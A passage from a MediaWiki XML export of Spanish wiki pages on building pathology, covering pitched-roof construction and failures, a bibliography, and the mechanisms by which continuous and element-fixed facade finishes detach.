### [[Patología de la edificación/Fachadas/Enfoscados y revocos|Enfoscados y revocos]]
## [[Patología de la edificación/Fachadas/Desprendimientos/Acabados continuos/Guarnecidos, tendidos y enlucidos|Guarnecidos, tendidos y enlucidos]]
## [[Patología de la edificación/Fachadas/Desprendimientos/Acabados continuos/Pinturas|Pinturas]]
## [[Patología de la edificación/Fachadas/Desprendimientos/Acabados por elementos|Acabados por elementos]]
### [[Patología de la edificación/Fachadas/Desprendimientos/Acabados continuos/Alicatados|Alicatados]]
### [[Patología de la edificación/Fachadas/Desprendimientos/Acabados por elementos/Chapados|Chapados]]
### [[Patología de la edificación/Fachadas/Desprendimientos/Acabados por elementos/Aplacados|Aplacados]]
# [[Patología de la edificación/Fachadas/Desprendimientos/Bibliografía|Bibliografía]]</text>
      <sha1>50ko7wrkgvexv3z4uzt9uqgdrqb7ssh</sha1>
    </revision>
    <revision>
      <id>430032</id>
      <parentid>430031</parentid>
      <timestamp>2026-08-02T10:42:43Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Autocat</comment>
      <origin>430032</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1194" sha1="2hxed2x7vn5u1ddg8hnlvxlavieinhf" xml:space="preserve">
===  Índice de contenidos ===

# [[Patología de la edificación/Fachadas/Desprendimientos/Definición|Definición]]
# [[Patología de la edificación/Fachadas/Desprendimientos/Tipología|Tipología]]
## [[Patología de la edificación/Fachadas/Desprendimientos/Acabados continuos|Acabados contínuos]]
### [[Patología de la edificación/Fachadas/Enfoscados y revocos|Enfoscados y revocos]]
## [[Patología de la edificación/Fachadas/Desprendimientos/Acabados continuos/Guarnecidos, tendidos y enlucidos|Guarnecidos, tendidos y enlucidos]]
## [[Patología de la edificación/Fachadas/Desprendimientos/Acabados continuos/Pinturas|Pinturas]]
## [[Patología de la edificación/Fachadas/Desprendimientos/Acabados por elementos|Acabados por elementos]]
### [[Patología de la edificación/Fachadas/Desprendimientos/Acabados continuos/Alicatados|Alicatados]]
### [[Patología de la edificación/Fachadas/Desprendimientos/Acabados por elementos/Chapados|Chapados]]
### [[Patología de la edificación/Fachadas/Desprendimientos/Acabados por elementos/Aplacados|Aplacados]]
# [[Patología de la edificación/Fachadas/Desprendimientos/Bibliografía|Bibliografía]]
&lt;noinclude&gt;{{AutoCat}}&lt;/noinclude&gt;</text>
      <sha1>2hxed2x7vn5u1ddg8hnlvxlavieinhf</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Cubiertas inclinadas/Problemática</title>
    <ns>0</ns>
    <id>13527</id>
    <revision>
      <id>430011</id>
      <parentid>409068</parentid>
      <timestamp>2026-08-02T10:05:44Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430011</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="6264" sha1="mbxpp7g5yqbcnrvjjiumrh5cen9hgpp" xml:space="preserve">=='''Propiedades constructivas'''==

Definición: Entendemos por cubierta el &quot;''conjunto de todos los elementos que conforman el volumen que se sitúa por encima del espacio habitable más alto de un edificio''&quot; (VV. AA.: CLAVES DEL CONSTRUIR ARQUITECTÓNICO: TOMO III. ELEMENTOS. La envolvente del edificio. Cubiertas). 

Las cubiertas inclinadas, a diferencia de las planas, se caracterizan por un sistema de expulsión de agua basado en la escorrentía rápida producida por una pendiente normalmente mayor del 15%. Como consecuencia ocuparán un volumen considerable sobre el edificio. No permiten una total libertad de diseño en cuanto a la geometría de la planta del edificio, pero en cambio se caracterizan por una mayor longevidad y bajo coste de conservación. 

[[Imagen:funcionamiento cubierta inclinada.jpg]]

Componentes: faldones, vertientes o aguas; limatesas o cumbreras (aristas hacia fuera); limahoyas (aristas hacia dentro) ; aleros, canalones y bajantes...


De forma general los faldones forman planos que se interseccionan dando lugar a las limatesas y limahoyas. El agua que discurre por ellos es recogida por los canalones y evacuada a continuación por las bajantes.

[[Imagen:componentes.jpg]]

Elementos principales:

1_ Estrato de ventilación de la capa exterior en su caso.
2_ Soporte de la capa exterior.
3_ Capa exterior visible.
4_ Sistema asociado higrotérmico.
5_ Sistema asociado de evacuación de las aguas pluviales.

=='''Tipologías'''==

Ateniéndonos a “la cobertura”, componente al que está dedicado este capítulo, y desde el punto de vista de la Patología de la Edificación, podemos clasificar los distintos tipos de cubiertas de la siguiente manera:


Según su solución constructiva:

1) Cubiertas FRÍAS: de 2 hojas. Ventiladas.

[[Imagen:cubierta ventilada.jpg]]

2) Cubiertas CALIENTES: de 1 hoja. No ventiladas. Solución muy utilizada para convertir los niveles bajo cubierta no habitables, en habitables. Susceptibles de sufrir humedades de condensación y recalentamiento.

a) Cubierta directa, compacta o tradicional (aislante seco).

b) Cubierta invertida (aislante mojable).

[[Imagen:cubierta no ventilada.jpg]]


Según su tipo de cobertura:

. Cobertura DISCONTINUA. La permeabilidad se resuelve por solape o encaje de elementos cerámicos, pizarras, fibrocementos o tejas de hormigón. Son susceptibles de sufrir defectos como desplazamientos, penetraciones, roturas, pérdida de piezas, disgregación del material. 

[[Imagen:discontinuidad.jpg]]

. Cobertura CONTINUA. (Impermeabilizantes). La estanquidad se garantiza por continuidad mediante coberturas metálicas, asfálticas, plásticas o solados. Son susceptibles de presentar defectos como movimientos, despegue, desgarros, roturas, punzonamientos, pérdidas de material, envejecimiento, pudriciones.


Según el material de su cobertura:

- Tejas (cerámicas o de cemento).

- Pizarras.

- Láminas metálicas y placas, Zinc o Cobre en su mayoría. También pueden encontrarse de plomo, acero o aluminio.

- Membranas impermeables. 

- Paneles.


[[Imagen:material.jpg]]

Ha de prestarse especial atención a respetar las inclinaciones y longitudes de solape propias de cada material.

=='''Solicitaciones típicas''' ==


1) Agresiones biológicas:

Acciones debidas a organismos: plantas y animales.


2) Agresiones físicas y mecánicas: 

Acciones mecánicas: debidas a movimientos estructurales o de la cimentación (esfuerzos por cargas, empujes horizontales, asientos, fuerza del viento) 

Acciones físicas: Impacto (objetos duros, granizo), rozamiento desgaste),variaciones del medio (ciclos de agua-hielo), acciones debidas a factores atmosféricos (degradación del material por la acción del sol, lluvia, viento...).

Acciones térmicas: Dilataciones y contracciones.

Acciones vinculadas al uso y mantenimiento: introducción de elementos ajenos.


3) Agresiones químicas:

Acciones vinculadas a la contaminación ambiental.

Acciones vinculadas a la presencia de agua (sales solubles, humedades).

Acciones debidas a organismos.


=='''Fallos característicos'''==

Se produce un fallo o disfunción en la cubierta cuando se incumple alguno de sus requisitos básicos de diseño.

Las prestaciones básicas que debe cumplir una cubierta son:

- Expulsión correcta de aguas pluviales. La cubierta ha de proporcionar impermeabilidad al edificio. Fallo: falta de estanquidad al agua.

- Comodidad térmica. Fallo: falta de estanquidad al aire.

- Comodidad acústica. Estará aislada tanto al ruido aéreo como al de impacto.

- Integridad. Lo que incluye poseer la suficiente resistencia mecánica. Fallo: rotura o degradación.


Disfunciones más frecuentes: 

En general podemos decir que el fallo más común es la falta de estanquidad, lo que va unido también una pérdida de integridad. “Las alteraciones más graves que afectan a la integridad se dan en los elementos de soporte como consecuencia de fallos en la continuidad de la barrera impermeable, habitualmente por falta de mantenimiento o por errores de diseño o ejecución”. Las lesiones más comunes serán las humedades, las roturas (grietas y fisuras) y los desprendimientos.

Son muy comunes los fallos en los elementos de borde, debidos casi en un 50% de los casos a entregas erróneas sobre muros. 

En una cubierta compuesta de pequeñas piezas, se da habitualmente el caso de una colocación incorrecta por falta de solape así como una falta de adecuación del material (degradación por falta de resistencia a las heladas o presencia de caliches por ejemplo). 

En las tejas se da el caso de desprendimiento por sujeción deficiente.

En las pizarras, el 60% de los casos son debidos a la inadecuación del material, por contener exceso de piritas y en un 30% a la mala colocación. 

En cuanto a las placas de fibrocemento, los fallos habituales se encuentran en el solape, grietas por sobrecarga puntual, mala colocación. El material en sí no presenta problemas. 

En las placas metálicas la falta de solape o de bandas de estanquidad con entradas de agua suponen un 30%. Otro 30% es debido a corrosiones (causadas por mala ejecución en obra o inadecuación del recubrimiento del propio metal).

[[Imagen:fallos.jpg]]

{{AutoCat}}</text>
      <sha1>mbxpp7g5yqbcnrvjjiumrh5cen9hgpp</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Fachadas/Desprendimientos/Definición</title>
    <ns>0</ns>
    <id>13529</id>
    <revision>
      <id>430033</id>
      <parentid>417990</parentid>
      <timestamp>2026-08-02T10:42:59Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430033</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="667" sha1="iqdjy7evstkd6mg39evhd7imzbwd719" xml:space="preserve">'''''Separación incontrolada de un material de acabado del soporte sobre el que esta aplicado. Muy distinto a la perdida de material superficial de una misma unidad debido a su erosión'''''. En el desprendimiento un material se separa de otro sin ser parte de la misma unidad. El grado de separación puede ser incipiente manifestándose como grietas o abombamientos hasta que se separa totalmente dejando desnudo el soporte.

	Los efectos directos son principalmente el deterioro estético, y la peligrosidad de los posibles desprendimientos sobre los transeúntes, así como la corrosión de elementos que deberían encontrarse tapados por el acabado

{{AutoCat}}</text>
      <sha1>iqdjy7evstkd6mg39evhd7imzbwd719</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Cubiertas inclinadas/Bibliografía</title>
    <ns>0</ns>
    <id>13531</id>
    <revision>
      <id>430019</id>
      <parentid>409065</parentid>
      <timestamp>2026-08-02T10:23:55Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Autocat</comment>
      <origin>430019</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2067" sha1="2m2uolqkjg5q9uebjeeoqq7pbmh8an2" xml:space="preserve">'''BROTO, Carles (2005):''' ENCICLOPEDIA BROTO DE PATOLOGÍA DE LA CONSTRUCCIÓN. Tomos 1,5 y 6. Edita: Structure. Barcelona. 2005. Biblioteca ETSAM. Referencia 69.059 BRO ENC V.5. ISBN 84-96424-35-9.

'''COSCOLLANO RODRÍGUEZ, J. (2000):''' “TRATAMIENTO DE LAS HUMEDADES EN LOS EDIFICIOS” Paraninfo. ISBN 84-283-2683-5.

'''INSTITUTO EDUARDO TORROJA (1995):''' “LA HUMEDAD COMO PATOLOGÍA FRECUENTE EN LA EDIFICACION”. Edita COOATM. ISBN 84-86891-16-7.

'''MALDONADO RAMOS, Luis; MONJO CARRIÓ, Juan (2002):''' MANUAL DE INSPECCIÓN TÉCNICA DE EDIFICIOS. Ed. Munilla-Lería, Madrid, 2005. ISBN 84-89150-72-9.

'''MALDONADO RAMOS, Luis; MONJO CARRIÓ, Juan (2001):''' PATOLOGÍA Y TÉCNICAS DE INTERVENCIÓN EN ESTRUCTURAS ARQUITECTÓNICAS. Ed. Munilla-Lería, Madrid, 2001. ISBN 84-89150-47-8.

'''MONJO CARRIO, Juan (1994):''' PATOLOGÍA DE CERRAMIENTOS Y ACABADOS ARQUITECÓNICOS. Edita: Munilla-Lería. Madrid 1994. Biblioteca ETSAM. Referencia 69.059 MON CER. ISBN 84-89150-12-5.

'''MONJO CARRIO, Juan _ OTROS (1999):''' TRATADO DE REHABILITACIÓN: CONSERVACIÓN Y RESTAURACIÓN DE EDIFICIOS. TOMO 4 PATOLOGÍA Y TÉCNICAS DE INTEVENCION. FACHADAS Y CUBIERTAS. Edita: Munilla-Lería. Madrid 1999. Biblioteca ETSAM. Referencia 69.059 UNI tra V.4. ISBN 84-89150-32-X.

'''SERRANO ALCUDIA, Francisco (1998):''' PATOLOGÍA DE LA EDIFICACIÓN. EL LENGUAJE DE LAS GRIETAS. Fundación Escuela de la Edificación, Madrid, 2002. ISBN 84-86957-90-7.

'''VV. AA. (2001): CLAVES DEL CONSTRUIR ARQUITECTÓNICO''': TOMO III. ELEMENTOS. Ed. Gustavo Gili, SA, Barcelona, 2001. ISBN 84-252-1866-7.

'''VV. AA. (1995):''' CURSO DE PATOLOGÍA. CONSERVACIÓN Y RESTAURACIÓN DE EDIFICIOS. Tomo 3. Edita: Colegio de arquitectos de Madrid COAM. Madrid 1995. Biblioteca ETSAM. Referencia 69.059 CUR pat-3. ISBN 84-7740-041-5.

'''VV. AA. (1984):''' CURSO DE REHABILITACIÓN: 6. LA CUBIERTA. COAM, Madrid, 1985. ISBN 84-85572-68-8.

'''VV. AA.:''' LA HUMEDAD COMO PATOLOGÍA FRECUENTE EN LA EDIFICACIÓN. Editado por el COAATM, Madrid. ISBN:
&lt;noinclude&gt;{{AutoCat}}&lt;/noinclude&gt;</text>
      <sha1>2m2uolqkjg5q9uebjeeoqq7pbmh8an2</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Fachadas/Desprendimientos/Tipología</title>
    <ns>0</ns>
    <id>13533</id>
    <revision>
      <id>430034</id>
      <parentid>417992</parentid>
      <timestamp>2026-08-02T10:43:33Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Actualización de enlaces</comment>
      <origin>430034</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="400" sha1="7cgqe5cl34gul81ux2oqo4lrmp8dqtw" xml:space="preserve">Como se ha mencionado se trata de la separación entre el acabado y el soporte por lo que los distintos tipos y causas de desprendimientos variaran de acuerdo con los distintos tipos de acabados:

[[patología de la edificación/Fachadas/Desprendimientos/Acabados continuos|ACABADOS CONTINUOS]]
[[patología de la edificación/Fachadas/Desprendimientos/Acabados por elementos|ACABADOS POR ELEMENTOS]]</text>
      <sha1>7cgqe5cl34gul81ux2oqo4lrmp8dqtw</sha1>
    </revision>
    <revision>
      <id>430035</id>
      <parentid>430034</parentid>
      <timestamp>2026-08-02T10:44:42Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <origin>430035</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="402" sha1="8ghbbe8y6x28ssjeh921cu72patatua" xml:space="preserve">Como se ha mencionado se trata de la separación entre el acabado y el soporte por lo que los distintos tipos y causas de desprendimientos variaran de acuerdo con los distintos tipos de acabados:

#[[patología de la edificación/Fachadas/Desprendimientos/Acabados continuos|Acabados continuos]]
#[[patología de la edificación/Fachadas/Desprendimientos/Acabados por elementos|Acabados por elementos]]</text>
      <sha1>8ghbbe8y6x28ssjeh921cu72patatua</sha1>
    </revision>
    <revision>
      <id>430036</id>
      <parentid>430035</parentid>
      <timestamp>2026-08-02T10:44:50Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430036</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="415" sha1="bei5lscf0m30dayx3j2bi2knw2mgu1c" xml:space="preserve">Como se ha mencionado se trata de la separación entre el acabado y el soporte por lo que los distintos tipos y causas de desprendimientos variaran de acuerdo con los distintos tipos de acabados:

#[[patología de la edificación/Fachadas/Desprendimientos/Acabados continuos|Acabados continuos]]
#[[patología de la edificación/Fachadas/Desprendimientos/Acabados por elementos|Acabados por elementos]]

{{AutoCat}}</text>
      <sha1>bei5lscf0m30dayx3j2bi2knw2mgu1c</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Fachadas/Desprendimientos/Acabados continuos</title>
    <ns>0</ns>
    <id>13535</id>
    <revision>
      <id>430037</id>
      <parentid>417994</parentid>
      <timestamp>2026-08-02T10:45:02Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430037</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="3750" sha1="fex0um36n73c2n56fu48fkjz1dkyn3q" xml:space="preserve">Son aquellos realizados con morteros o pastas liquidas, en las que incluimos pinturas, que se aplican al soporte en estado plástico y que luego se endurecen adoptando las características exigidas.
	Los más comunes suelen ser

[[patología de la edificación/Fachadas/2.1.1Enfoscados y revocos|2.1.1Enfoscados y revocos]]

[[patología de la edificación/Fachadas/3.Desprendimientos./2.1 Acabados continuos/2.1.2 Guarnecidos, tendidos y enlucidos|2.1.2Guarnecidos, tendidos y enlucidos]]

[[patología de la edificación/Fachadas/3.Desprendimientos./2.1 Acabados continuos/2.1.3 Pinturas|2.1.3Pinturas]]

El mecanismo por el cual se adhieren al soporte suele ser  '''físico''', como es el caso del mortero, o '''químico''' como se da en pinturas y morteros con componentes adhesivos: 
		
== Físico: ==
[[Imagen:adherencia mecanica por biela a compresion.jpg|thumb|Figura 1.]]
Es la mas corriente y se basa en la interpenetración de los dos elementos, el acabado, y el soporte a través de la junta entre ambos gracias a la rugosidad del elemento rígido (soporte). A nivel microscópico se produce una trabazón gracias a lo que se denominan como tetones (fig. 1) que actúan como bielas de compresión (fig. 1) impidiendo el movimiento en tanto en paralelo como en  perpendicular a la junta.

=== La rotura de esta unión se podrá dar por varios motivos: ===

[[Imagen:Rotura por esfuerzo cortante.jpg|thumb|Figura 2.]]
•'''Debido a un esfuerzo rasante''' (fig2) en la junta,  lo que supondría el empuje de los dos elementos en dirección paralela a la junta y en sentidos opuestos hasta que el esfuerzo fuese mayor que la resistencia de las interpenetraciones a cortante. Resultando esto en la rotura de la unión y el consiguiente desprendimiento del acabado. Suele ser producido por:
Variaciones dimensionales higro-térmicas del acabado,
Movimientos elásticos del soporte.	

[[Imagen:rotura por traccion debido a elemntos infiltrados.jpg|thumb|Figura 3.]]		                                  
•'''Debido a un esfuerzo de tracción''' (fig3), que se dará cuando exista un empuje perpendicular al plano de la junta que sea superior a la capacidad de adherencia que tienen las penetraciones ya sea por rozamiento o por su resistencia a tracción.
Esto se producirá por la dilatación de elementos infiltrados, como:
	El agua que cuando se congela aumenta un 9% su volumen
	Sales que al cristalizar aumentan su volumen hasta en un 35%


•'''Debido a la falta de adherencia de la junta''', que puede estar causada por:


I)La falta de humedad en el soporte, en el caso de morteros hidráulicos, provocando una succión, por parte del soporte, del agua contenida en el mortero cambiando sus características e impidiendo su fraguado correcto, ya que al perder este plasticidad no se crearan las interpenetraciones suficientes para lograr la adherencia mecánica.

II) La superficie del soporte este sucia ya que dicha suciedad impide el fraguado correcto al rellenar las rugosidades en las que debe penetrar el acabado; además, en el caso de la suciedad por polvo también se disminuye la relación agua/cemento sucediendo lo mencionado anteriormente.

III) El uso de un mortero con gran cantidad de agua 
		
		IV) EL secado demasiado rápido del mortero

V) La falta de rugosidad en el soporte, lo que imposibilita la creación de las interpenetraciones en al junta.


== Químico: ==


No es tan común se da en pinturas y en productos resinosos. La unión se basa en el intercambio molecular entre soporte y acabado.

=== La rotura de dicha unión se dará: ===

	'''Debido a fallos de ejecución''' 

	'''La intromisión de algún elemento que reaccione químicamente''' con la unión molecular destruyéndola.

{{AutoCat}}</text>
      <sha1>fex0um36n73c2n56fu48fkjz1dkyn3q</sha1>
    </revision>
    <revision>
      <id>430038</id>
      <parentid>430037</parentid>
      <timestamp>2026-08-02T10:46:23Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Actualizando enlaces</comment>
      <origin>430038</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="3502" sha1="b6ibndp0us6195l3hlx3nyxcx9t0vz5" xml:space="preserve">Son aquellos realizados con morteros o pastas liquidas, en las que incluimos pinturas, que se aplican al soporte en estado plástico y que luego se endurecen adoptando las características exigidas.
	Los más comunes suelen ser

# [[patología de la edificación/Fachadas/Enfoscados y revocos|Enfoscados y revocos]]

# [[patología de la edificación/Fachadas/Desprendimientos/Acabados continuos/Guarnecidos, tendidos y enlucidos|2.1.2Guarnecidos, tendidos y enlucidos]]

# [[patología de la edificación/Fachadas/Desprendimientos/Acabados continuos/Pinturas|Pinturas]]

El mecanismo por el cual se adhieren al soporte suele ser  '''físico''', como es el caso del mortero, o '''químico''' como se da en pinturas y morteros con componentes adhesivos: 
		
== Físico: ==

Es la mas corriente y se basa en la interpenetración de los dos elementos, el acabado, y el soporte a través de la junta entre ambos gracias a la rugosidad del elemento rígido (soporte). A nivel microscópico se produce una trabazón gracias a lo que se denominan como tetones (fig. 1) que actúan como bielas de compresión (fig. 1) impidiendo el movimiento en tanto en paralelo como en  perpendicular a la junta.

=== La rotura de esta unión se podrá dar por varios motivos: ===


•'''Debido a un esfuerzo rasante''' (fig2) en la junta,  lo que supondría el empuje de los dos elementos en dirección paralela a la junta y en sentidos opuestos hasta que el esfuerzo fuese mayor que la resistencia de las interpenetraciones a cortante. Resultando esto en la rotura de la unión y el consiguiente desprendimiento del acabado. Suele ser producido por:
Variaciones dimensionales higro-térmicas del acabado,
Movimientos elásticos del soporte.	
		                                  
•'''Debido a un esfuerzo de tracción''' (fig3), que se dará cuando exista un empuje perpendicular al plano de la junta que sea superior a la capacidad de adherencia que tienen las penetraciones ya sea por rozamiento o por su resistencia a tracción.
Esto se producirá por la dilatación de elementos infiltrados, como:
	El agua que cuando se congela aumenta un 9% su volumen
	Sales que al cristalizar aumentan su volumen hasta en un 35%


•'''Debido a la falta de adherencia de la junta''', que puede estar causada por:


I)La falta de humedad en el soporte, en el caso de morteros hidráulicos, provocando una succión, por parte del soporte, del agua contenida en el mortero cambiando sus características e impidiendo su fraguado correcto, ya que al perder este plasticidad no se crearan las interpenetraciones suficientes para lograr la adherencia mecánica.

II) La superficie del soporte este sucia ya que dicha suciedad impide el fraguado correcto al rellenar las rugosidades en las que debe penetrar el acabado; además, en el caso de la suciedad por polvo también se disminuye la relación agua/cemento sucediendo lo mencionado anteriormente.

III) El uso de un mortero con gran cantidad de agua 
		
		IV) EL secado demasiado rápido del mortero

V) La falta de rugosidad en el soporte, lo que imposibilita la creación de las interpenetraciones en al junta.


== Químico: ==


No es tan común se da en pinturas y en productos resinosos. La unión se basa en el intercambio molecular entre soporte y acabado.

=== La rotura de dicha unión se dará: ===

	'''Debido a fallos de ejecución''' 

	'''La intromisión de algún elemento que reaccione químicamente''' con la unión molecular destruyéndola.

{{AutoCat}}</text>
      <sha1>b6ibndp0us6195l3hlx3nyxcx9t0vz5</sha1>
    </revision>
    <revision>
      <id>430039</id>
      <parentid>430038</parentid>
      <timestamp>2026-08-02T10:46:48Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <minor />
      <origin>430039</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="3495" sha1="d6jozcpbja0a2ya84tncxjivs10m85a" xml:space="preserve">Son aquellos realizados con morteros o pastas liquidas, en las que incluimos pinturas, que se aplican al soporte en estado plástico y que luego se endurecen adoptando las características exigidas.
	Los más comunes suelen ser

# [[patología de la edificación/Fachadas/Enfoscados y revocos|Enfoscados y revocos]]
# [[patología de la edificación/Fachadas/Desprendimientos/Acabados continuos/Guarnecidos, tendidos y enlucidos|Guarnecidos, tendidos y enlucidos]]
# [[patología de la edificación/Fachadas/Desprendimientos/Acabados continuos/Pinturas|Pinturas]]

El mecanismo por el cual se adhieren al soporte suele ser  '''físico''', como es el caso del mortero, o '''químico''' como se da en pinturas y morteros con componentes adhesivos: 
		
== Físico: ==

Es la mas corriente y se basa en la interpenetración de los dos elementos, el acabado, y el soporte a través de la junta entre ambos gracias a la rugosidad del elemento rígido (soporte). A nivel microscópico se produce una trabazón gracias a lo que se denominan como tetones (fig. 1) que actúan como bielas de compresión (fig. 1) impidiendo el movimiento en tanto en paralelo como en  perpendicular a la junta.

=== La rotura de esta unión se podrá dar por varios motivos: ===


•'''Debido a un esfuerzo rasante''' (fig2) en la junta,  lo que supondría el empuje de los dos elementos en dirección paralela a la junta y en sentidos opuestos hasta que el esfuerzo fuese mayor que la resistencia de las interpenetraciones a cortante. Resultando esto en la rotura de la unión y el consiguiente desprendimiento del acabado. Suele ser producido por:
Variaciones dimensionales higro-térmicas del acabado,
Movimientos elásticos del soporte.	
		                                  
•'''Debido a un esfuerzo de tracción''' (fig3), que se dará cuando exista un empuje perpendicular al plano de la junta que sea superior a la capacidad de adherencia que tienen las penetraciones ya sea por rozamiento o por su resistencia a tracción.
Esto se producirá por la dilatación de elementos infiltrados, como:
	El agua que cuando se congela aumenta un 9% su volumen
	Sales que al cristalizar aumentan su volumen hasta en un 35%


•'''Debido a la falta de adherencia de la junta''', que puede estar causada por:


I)La falta de humedad en el soporte, en el caso de morteros hidráulicos, provocando una succión, por parte del soporte, del agua contenida en el mortero cambiando sus características e impidiendo su fraguado correcto, ya que al perder este plasticidad no se crearan las interpenetraciones suficientes para lograr la adherencia mecánica.

II) La superficie del soporte este sucia ya que dicha suciedad impide el fraguado correcto al rellenar las rugosidades en las que debe penetrar el acabado; además, en el caso de la suciedad por polvo también se disminuye la relación agua/cemento sucediendo lo mencionado anteriormente.

III) El uso de un mortero con gran cantidad de agua 
		
		IV) EL secado demasiado rápido del mortero

V) La falta de rugosidad en el soporte, lo que imposibilita la creación de las interpenetraciones en al junta.


== Químico: ==


No es tan común se da en pinturas y en productos resinosos. La unión se basa en el intercambio molecular entre soporte y acabado.

=== La rotura de dicha unión se dará: ===

	'''Debido a fallos de ejecución''' 

	'''La intromisión de algún elemento que reaccione químicamente''' con la unión molecular destruyéndola.

{{AutoCat}}</text>
      <sha1>d6jozcpbja0a2ya84tncxjivs10m85a</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Fachadas/Desprendimientos/Acabados por elementos</title>
    <ns>0</ns>
    <id>13538</id>
    <revision>
      <id>430026</id>
      <parentid>417996</parentid>
      <timestamp>2026-08-02T10:38:39Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>actualizando enlaces</comment>
      <origin>430026</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2113" sha1="ao38r5cfjxxo712q3e5q3wbab1n39ui" xml:space="preserve">Son aquellos en los que los elementos del acabado llegan ya terminados y requieren su sujeción al soporte por algún sistema que asegure su adherencia en función de las acciones que va a recibir.
		
Los más comunes suelen ser:


[[patología de la edificación/Fachadas/Desprendimientos/Acabados continuos/Alicatados|Alicatados]]

[[patología de la edificación/Fachadas/Desprendimientos/Acabados por elementos/Chapados|Chapados]]

[[patología de la edificación/Fachadas/Desprendimientos/Acabados por elementos/Aplacados|Aplacados]]


El mecanismo de sujeción al soporte suele ser, o por adherencia continua mediante morteros o pegamentos, o de cuelgue por puntos o líneas, que normalmente se realizara mediante anclajes metálicos:

== Por adherencia: == 
Este mecanismo de sujeción es el mismo que presentan los acabados continuos, lo que presentara, pues,  los mismos problemas, con una diferencia, y es que la perdida de adherencia se puede dar en tres puntos, en la junta entre el acabado y el producto adherente, en el propio producto adherente (interfase), y en la junta entre producto adherente y soporte.


== Por cuelgue en puntos o líneas: == 
Este tipo de sujeciones se realiza mediante el anclaje de determinados puntos o líneas utilizando normalmente anclajes metálicos, o  de plástico.


=== La rotura de la sujeción se podrá dar en cuatro puntos: ===

•	'''En la unión entre el anclaje y el elemento de acabado''', que suele tener lugar por la perforación del elemento de acabado o su rotura por pinzamiento al superarse la capacidad a esfuerzo cortante o a tracción en la perforación del elemento.

•	'''En el elemento de anclaje''', que tiene lugar debido a la corrosión del elemento, o al superarse su capacidad a esfuerzo cortante o a tracción.

•	'''En la unión entre elemento de anclaje y soporte''', que suele suceder debido al arrancamiento del anclaje al no ser la unión suficientemente profunda

•	'''En el propio elemento de acabado''', al no tener este suficiente resistencia debido a una sección excesivamente fina o a la existencia de pelos de cantera</text>
      <sha1>ao38r5cfjxxo712q3e5q3wbab1n39ui</sha1>
    </revision>
    <revision>
      <id>430027</id>
      <parentid>430026</parentid>
      <timestamp>2026-08-02T10:38:46Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430027</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2126" sha1="4g7vfmy1gsr8fzyjr6fxwdy6voe5193" xml:space="preserve">Son aquellos en los que los elementos del acabado llegan ya terminados y requieren su sujeción al soporte por algún sistema que asegure su adherencia en función de las acciones que va a recibir.
		
Los más comunes suelen ser:


[[patología de la edificación/Fachadas/Desprendimientos/Acabados continuos/Alicatados|Alicatados]]

[[patología de la edificación/Fachadas/Desprendimientos/Acabados por elementos/Chapados|Chapados]]

[[patología de la edificación/Fachadas/Desprendimientos/Acabados por elementos/Aplacados|Aplacados]]


El mecanismo de sujeción al soporte suele ser, o por adherencia continua mediante morteros o pegamentos, o de cuelgue por puntos o líneas, que normalmente se realizara mediante anclajes metálicos:

== Por adherencia: == 
Este mecanismo de sujeción es el mismo que presentan los acabados continuos, lo que presentara, pues,  los mismos problemas, con una diferencia, y es que la perdida de adherencia se puede dar en tres puntos, en la junta entre el acabado y el producto adherente, en el propio producto adherente (interfase), y en la junta entre producto adherente y soporte.


== Por cuelgue en puntos o líneas: == 
Este tipo de sujeciones se realiza mediante el anclaje de determinados puntos o líneas utilizando normalmente anclajes metálicos, o  de plástico.


=== La rotura de la sujeción se podrá dar en cuatro puntos: ===

•	'''En la unión entre el anclaje y el elemento de acabado''', que suele tener lugar por la perforación del elemento de acabado o su rotura por pinzamiento al superarse la capacidad a esfuerzo cortante o a tracción en la perforación del elemento.

•	'''En el elemento de anclaje''', que tiene lugar debido a la corrosión del elemento, o al superarse su capacidad a esfuerzo cortante o a tracción.

•	'''En la unión entre elemento de anclaje y soporte''', que suele suceder debido al arrancamiento del anclaje al no ser la unión suficientemente profunda

